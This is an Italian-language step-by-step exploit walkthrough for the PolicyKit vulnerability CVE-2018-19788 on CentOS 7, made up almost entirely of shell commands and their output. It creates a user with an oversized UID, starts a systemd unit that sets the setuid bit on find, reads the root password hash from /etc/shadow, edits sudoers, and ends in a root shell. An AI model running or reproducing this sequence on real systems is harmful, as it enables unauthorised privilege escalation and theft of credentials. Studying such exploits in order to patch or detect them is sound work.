CVE-2018-19788

Sfruttamento del bug PolicyKit CVE-2018-19788

Passaggi per sfruttare il bug PolicyKit su un'installazione CentOS7 completamente aggiornata.

[root@centos7 ~]# groupadd -g 4000000000 cve201819788
[root@centos7 ~]# useradd -m -c "User With High UID" -u 4000000000 -g 4000000000 -s /bin/bash cve201819788
[root@centos7 ~]# id cve201819788
uid=4000000000(cve201819788) gid=4000000000(cve201819788) groups=4000000000(cve201819788)
[root@centos7 ~]# cat >hacked.service<<HACKED
[Unit]
Description=Hacked Service

[Service]
Type=notify
ExecStart=/bin/bash -c "chmod +s /usr/bin/find"
KillMode=process
Restart=on-failure
RestartSec=60s

[Install]
WantedBy=multi-user.target
HACKED

[root@centos7 ~]# systemctl link $(pwd)/hacked.service
Created symlink from /etc/systemd/system/hacked.service to /root/hacked.service.
Creato collegamento simbolico da /etc/systemd/system/hacked.service a /root/hacked.service.
[root@centos7 ~]# su - cve201819788
[cve201819788@centos7 ~]$ whoami
cve201819788
[cve201819788@centos7 ~]$ grep root /etc/shadow
grep: /etc/shadow: Permesso negato
[cve201819788@centos7 ~]$ systemctl start hacked

(pkttyagent:12785): GLib-GObject-WARNING **: 21:08:45.965: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' **
ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

[cve201819788@centos7 ~]$ ls -l $(which find)
-rwsr-sr-x. 1 root root 199304 Oct 30 12:42 /bin/find
[cve201819788@centos7 ~]$ find /etc/shadow -exec grep root {} ;
root:$6$/zGjAAFHb.RUQJPx$qJH5DgIrZ1avYAeceWPNKitAbyGxMQ6vaOL7MfJ84mrwU6xgOxr/4hpQqdNWQiX6nBgu9WUKqWrJ4t6zRFbIN1::0:99999:7:::
[cve201819788@centos7 ~]$ find /etc/sudoers -exec visudo -f {} ;

Inserisci quanto segue nel file sudoers

cve201819788 ALL=(ALL) ALL

[cve201819788@centos7 ~]$ sudo -l
[sudo] password per cve201819788:
Voci Default corrispondenti per cve201819788 su centos7:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin:/bin:/usr/sbin:/usr/bin

L'utente cve201819788 può eseguire i seguenti comandi su centos7:
(ALL) ALL
[cve201819788@centos7 ~]$ sudo su -
Ultimo accesso: Sun Dec 30 20:59:54 EST 2018 da 192.168.1.2 su pts/0
[root@centos7 ~]# whoami
root